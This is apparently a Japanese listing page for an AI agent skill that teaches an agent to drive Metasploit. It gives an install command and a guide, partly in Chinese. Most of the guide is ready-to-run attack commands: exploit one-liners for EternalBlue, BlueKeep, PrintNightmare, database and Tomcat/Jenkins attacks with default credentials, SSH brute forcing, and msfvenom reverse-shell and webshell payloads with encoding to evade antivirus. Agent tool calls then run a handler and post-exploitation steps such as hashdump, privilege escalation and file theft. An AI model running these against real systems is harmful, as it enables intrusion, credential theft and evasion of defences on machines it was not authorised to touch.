msf-oneshot について
Metasploit Framework を使ったセキュリティテストの実行ガイドです。脆弱性検査やエクスプロイト、ポストエクスプロイトを扱い、単発の msfconsole コマンドと interactive_session による継続的な操作を区別します。
主な機能
- 01単発の msfconsole コマンド
- 02永続的なインタラクティブセッション
- 03脆弱性検査とエクスプロイトの手順
- 04msfvenom によるペイロード生成
- 05Handler とセッションの管理
活用シーン
- 01スキャナーまたはエクスプロイトモジュールの単発実行
- 02リスナーの維持と Meterpreter セッションの操作
- 03ペイロード生成とポストエクスプロイト作業
MCP 対応
ガイドでは interactive_session を MCP ツールとして説明しており、永続セッションの開始、コマンド送信、出力読み取りに Handler や Meterpreter の操作で使用します。
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ wgpsec/ aboutsecurity --skill msf-oneshotインストール後、Claude Code で/msf-oneshotを入力して読み込まれたか確認します。
同梱ファイル
SKILL.md と一緒にインストールされる参考資料やスクリプト。
evals/evals.jsonrecall.jsonreferences/meterpreter-operations.mdmsf-modules.md詳細
Metasploit Framework の呼び出し方法
MSF には 2 つの呼び出し方法があり、それぞれ異なる場面に適しています。
| 方法 | 適した場面 | ツール |
|---|---|---|
ワンライナー (msfconsole -q -x) | 単発の exploit、脆弱性検出、msfvenom | bash から直接実行 |
対話型 (interactive_session) | Handler の待ち受け、Meterpreter セッション、ポストエクスプロイト | interactive_session MCP ツール |
ワンライナーは「実行したらそのまま終了」でよい操作に適しており、実行後に自動で終了します。一方、handler の待ち受けや meterpreter によるポストエクスプロイトには継続的な対話が必要なため、ワンライナーでは対応できません(-x は実行後に終了し、& でバックグラウンド化しても出力を読み取れません)。その場合は interactive_session で永続的な tmux セッションを起動すると、いつでもコマンドを送信し、出力を読み取ることができます。
参考資料
- よく使う exploit モジュールのクイックリファレンスと payload 生成ガイド → references/msf-modules.md
- Meterpreter セッション、転送、自動化 → references/meterpreter-operations.md
Phase 1: ワンライナーの基本構文
# 基本格式:用分号连接多条 MSF 命令
msfconsole -q -x "use EXPLOIT; set RHOSTS TARGET; set LHOST ATTACKER; run; exit"
# -q = 静默启动(不显示 banner)
# -x = 执行命令字符串
# exit = 执行完退出(重要!否则会挂起)
完全な例:EternalBlue (MS17-010)
msfconsole -q -x "
use exploit/windows/smb/ms17_010_eternalblue;
set RHOSTS 10.0.0.1;
set LHOST 10.0.0.2;
set PAYLOAD windows/x64/meterpreter/reverse_tcp;
set LPORT 4444;
run;
exit
"
msfconsole の起動時には、モジュールライブラリの読み込みに 10~30 秒かかります。これは正常な動作です。
Phase 2: よくある脆弱性の悪用シナリオ
2.1 オペレーティングシステムレベルの脆弱性(Zone 3/4 で最もよく使用)
# MS17-010 EternalBlue(Windows SMB)
msfconsole -q -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOSTS TARGET; set LHOST ATTACKER; run; exit"
# MS08-067(Windows Server 2003/XP)
msfconsole -q -x "use exploit/windows/smb/ms08_067_netapi; set RHOSTS TARGET; set LHOST ATTACKER; run; exit"
# BlueKeep(Windows RDP CVE-2019-0708)
msfconsole -q -x "use exploit/windows/rdp/cve_2019_0708_bluekeep_rce; set RHOSTS TARGET; set LHOST ATTACKER; set TARGET 2; run; exit"
# PrintNightmare(Windows Print Spooler)
msfconsole -q -x "use exploit/windows/dcerpc/cve_2021_1675_printnightmare; set RHOSTS TARGET; set LHOST ATTACKER; run; exit"
2.2 データベースへのリモート攻撃
# PostgreSQL 代码执行(默认口令 postgres/postgres)
msfconsole -q -x "use exploit/multi/postgres/postgres_copy_from_program_cmd_exec; set RHOSTS TARGET; set USERNAME postgres; set PASSWORD postgres; set LHOST ATTACKER; run; exit"
# MySQL UDF 提权(需要已知凭据)
msfconsole -q -x "use exploit/multi/mysql/mysql_udf_payload; set RHOSTS TARGET; set USERNAME root; set PASSWORD ''; set LHOST ATTACKER; run; exit"
# MSSQL xp_cmdshell
msfconsole -q -x "use exploit/windows/mssql/mssql_payload; set RHOSTS TARGET; set USERNAME sa; set PASSWORD password; set LHOST ATTACKER; run; exit"
# Redis 未授权写 SSH key / Webshell
msfconsole -q -x "use exploit/linux/redis/redis_replication_cmd_exec; set RHOSTS TARGET; set LHOST ATTACKER; run; exit"
2.3 Web/ミドルウェアサービス
# Tomcat Manager 部署 WAR(需要凭据)
msfconsole -q -x "use exploit/multi/http/tomcat_mgr_upload; set RHOSTS TARGET; set RPORT 8080; set HttpUsername tomcat; set HttpPassword tomcat; set LHOST ATTACKER; run; exit"
# JBoss 反序列化
msfconsole -q -x "use exploit/multi/http/jboss_invoke_deploy; set RHOSTS TARGET; set RPORT 8080; set LHOST ATTACKER; run; exit"
# Jenkins Script Console
msfconsole -q -x "use exploit/multi/http/jenkins_script_console; set RHOSTS TARGET; set RPORT 8080; set TARGETURI /; set LHOST ATTACKER; run; exit"
2.4 ネットワークサービス
# FTP vsftpd 2.3.4 后门
msfconsole -q -x "use exploit/unix/ftp/vsftpd_234_backdoor; set RHOSTS TARGET; run; exit"
# Samba(CVE-2017-7494)
msfconsole -q -x "use exploit/linux/samba/is_known_pipename; set RHOSTS TARGET; set LHOST ATTACKER; run; exit"
# SSH 暴力破解
msfconsole -q -x "use auxiliary/scanner/ssh/ssh_login; set RHOSTS TARGET; set USERNAME root; set PASS_FILE /usr/share/wordlists/rockyou.txt; set STOP_ON_SUCCESS true; run; exit"
Phase 3: 脆弱性の検出(悪用せず、検出のみ)
auxiliary/scanner または check コマンドを使ってセキュリティ検査を行います。
# 检测 MS17-010 是否存在(不利用)
msfconsole -q -x "use auxiliary/scanner/smb/smb_ms17_010; set RHOSTS TARGET; run; exit"
# SMB 版本检测
msfconsole -q -x "use auxiliary/scanner/smb/smb_version; set RHOSTS TARGET; run; exit"
# 批量端口服务检测
msfconsole -q -x "use auxiliary/scanner/portscan/tcp; set RHOSTS TARGET; set PORTS 445,3389,1433,3306; run; exit"
# 使用 check 命令(部分 exploit 支持)
msfconsole -q -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOSTS TARGET; check; exit"
Phase 4: Payload の生成(msfvenom)
msfvenom には msfconsole は不要です。bash から直接呼び出します。
# Windows reverse shell EXE
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER LPORT=4444 -f exe -o shell.exe
# Linux reverse shell ELF
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=ATTACKER LPORT=4444 -f elf -o shell.elf
# PHP webshell
msfvenom -p php/meterpreter/reverse_tcp LHOST=ATTACKER LPORT=4444 -f raw -o shell.php
# JSP webshell(Tomcat WAR 部署用)
msfvenom -p java/jsp_shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f war -o shell.war
# Python reverse shell
msfvenom -p python/meterpreter/reverse_tcp LHOST=ATTACKER LPORT=4444 -f raw -o shell.py
# 编码绕过(基础免杀)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER LPORT=4444 -e x64/xor_dynamic -i 5 -f exe -o encoded.exe
Phase 5: Handler モード(interactive_session)
Handler はコールバックを待つために継続的な待ち受けが必要です。一行式の -x は実行後に終了するため、待ち受けを維持できません。この問題を解決するには、interactive_session で msfconsole の対話セッションを起動します。
典型的な流れ:payload を生成 → handler を起動 → payload を配信 → session を取得
Step 1: payload を生成(ワンライナー、Phase 4)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER LPORT=4444 -f exe -o shell.exe
Step 2: handler を起動(対話型)
interactive_session(action="start", session_name="msf_handler", command="msfconsole -q")
msfconsole の読み込みが完了するまで 15~20 秒待ってから、handler を設定します。
interactive_session(action="send", session_name="msf_handler", command="use exploit/multi/handler", wait=3)
interactive_session(action="send", session_name="msf_handler", command="set PAYLOAD windows/x64/meterpreter/reverse_tcp", wait=2)
interactive_session(action="send", session_name="msf_handler", command="set LHOST 0.0.0.0", wait=2)
interactive_session(action="send", session_name="msf_handler", command="set LPORT 4444", wait=2)
interactive_session(action="send", session_name="msf_handler", command="set ExitOnSession false", wait=2)
interactive_session(action="send", session_name="msf_handler", command="exploit -j", wait=5)
Handler はバックグラウンドで待ち受け中です。いつでも read で session のコールバックがあるか確認できます。
interactive_session(action="read", session_name="msf_handler")
Step 3: payload を配信
別の脆弱性(ファイルアップロード、RCE など)を使って shell.exe をターゲットに転送し、実行します。
Step 4: session を確認
interactive_session(action="send", session_name="msf_handler", command="sessions -l", wait=3)
meterpreter session が確立されたことを確認したら、Phase 6 のポストエクスプロイトに進みます。
ショートカット:-x で handler を起動
待ち受けだけが必要で、その後の対話が不要だと分かっている場合は、1 つのコマンドで起動することもできます。
interactive_session(action="start", session_name="msf_handler", command="msfconsole -q -x 'use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST 0.0.0.0; set LPORT 4444; set ExitOnSession false; exploit'")
これにより send を 1 つずつ実行する手間を省けますが、その後の対話には引き続き send/read を使います。
Phase 6: ポストエクスプロイト操作(interactive_session)
meterpreter session を取得したら、interactive_session でポストエクスプロイトコマンドを実行します。meterpreter は対話型シェルのため、永続セッションでのみ十分に活用できます。複雑な session 管理、ポートフォワーディング、SOCKS、Kiwi、resource script、multiple transports については、references/meterpreter-operations.md を参照してください。
session に入り、情報を収集する
interactive_session(action="send", session_name="msf_handler", command="sessions -i 1", wait=3)
interactive_session(action="send", session_name="msf_handler", command="sysinfo", wait=3)
interactive_session(action="send", session_name="msf_handler", command="getuid", wait=3)
interactive_session(action="send", session_name="msf_handler", command="ipconfig", wait=3)
よく使うポストエクスプロイト操作
# 文件系统操作
interactive_session(action="send", session_name="msf_handler", command="ls C:\\Users\\", wait=3)
interactive_session(action="send", session_name="msf_handler", command="download C:\\flag.txt /tmp/flag.txt", wait=5)
interactive_session(action="send", session_name="msf_handler", command="upload /tmp/tool.exe C:\\temp\\tool.exe", wait=5)
# 凭据提取(需要 SYSTEM 权限)
interactive_session(action="send", session_name="msf_handler", command="hashdump", wait=5)
# 提权
interactive_session(action="send", session_name="msf_handler", command="getsystem", wait=5)
# 网络信息(内网渗透前置)
interactive_session(action="send", session_name="msf_handler", command="arp", wait=3)
interactive_session(action="send", session_name="msf_handler", command="route", wait=3)
# 返回 MSF 主控台(保持 session 存活)
interactive_session(action="send", session_name="msf_handler", command="background", wait=3)
セッション管理
# 列出所有 sessions
interactive_session(action="send", session_name="msf_handler", command="sessions -l", wait=3)
# 切换到另一个 session
interactive_session(action="send", session_name="msf_handler", command="sessions -i 2", wait=3)
# 批量执行低噪声确认命令
interactive_session(action="send", session_name="msf_handler", command="sessions -c whoami", wait=3)
# 返回主控台但保持 session 存活
interactive_session(action="send", session_name="msf_handler", command="background", wait=3)
# 结束操作后关闭 MSF
interactive_session(action="close", session_name="msf_handler")
代替手段:meterpreter を使わずにコマンドを実行する
対話型の meterpreter が不要で、1 つのコマンドを実行して flag を取得するだけであれば、コマンド実行 payload を直接生成するほうが簡単です。
msfvenom -p windows/x64/exec CMD="type C:\\flag.txt" -f exe -o cmd.exe
msfvenom -p linux/x64/exec CMD="cat /flag > /tmp/result.txt" -f elf -o cmd.elf
ワンライナーの handler と組み合わせてください(interactive_session は不要です)。
判断フロー:ワンライナーと interactive_session の使い分け
你要用 MSF 做什么?
│
├─ 执行单个 exploit(EternalBlue、Tomcat upload 等)
│ └→ 一行式 msfconsole -q -x "use ...; run; exit"
│
├─ 漏洞检测 / auxiliary scanner
│ └→ 一行式 msfconsole -q -x "use ...; run; exit"
│
├─ 生成 payload(msfvenom)
│ └→ 直接 bash 调用 msfvenom,不需要 msfconsole
│
├─ 启动 handler 等待反弹 shell
│ └→ interactive_session 启动 msfconsole,配置 handler
│ (handler 需要持续监听,一行式做不到)
│
├─ Meterpreter 后渗透(sysinfo、hashdump、文件操作)
│ └→ interactive_session send/read 交互
│ (meterpreter 是交互式 shell,需要持久会话)
│
├─ 只想执行一条命令拿 flag(不需要交互)
│ └→ msfvenom -p .../exec CMD="..." 生成命令执行 payload
│ 配合一行式 handler 或 nc 监听即可
│
└─ Web 应用漏洞 (SQLi/XSS/SSRF)
└→ 不用 MSF,curl/sqlmap/手动脚本更快
よくある問題のトラブルシューティング
| 症状 | 原因 | 解決方法 |
|---|---|---|
| Exploit completed, but no session | Payload が停止された/ポートが使用中 | ポートまたは payload を変更し、ファイアウォールを確認 |
| Connection refused | ターゲットのポートが開いていない | 先に nmap でポートが開いていることを確認 |
| msfconsole の起動がタイムアウトする | データベースへの接続が遅い | --no-database を追加するか、待機 |
| Payload がコールバックできない | LHOST の誤り/ファイアウォール | LHOST がターゲットから到達可能な IP であることを確認 |
| interactive_session の read が空 | msfconsole の読み込み中 | wait を 15~20 秒に設定し、もう一度 read |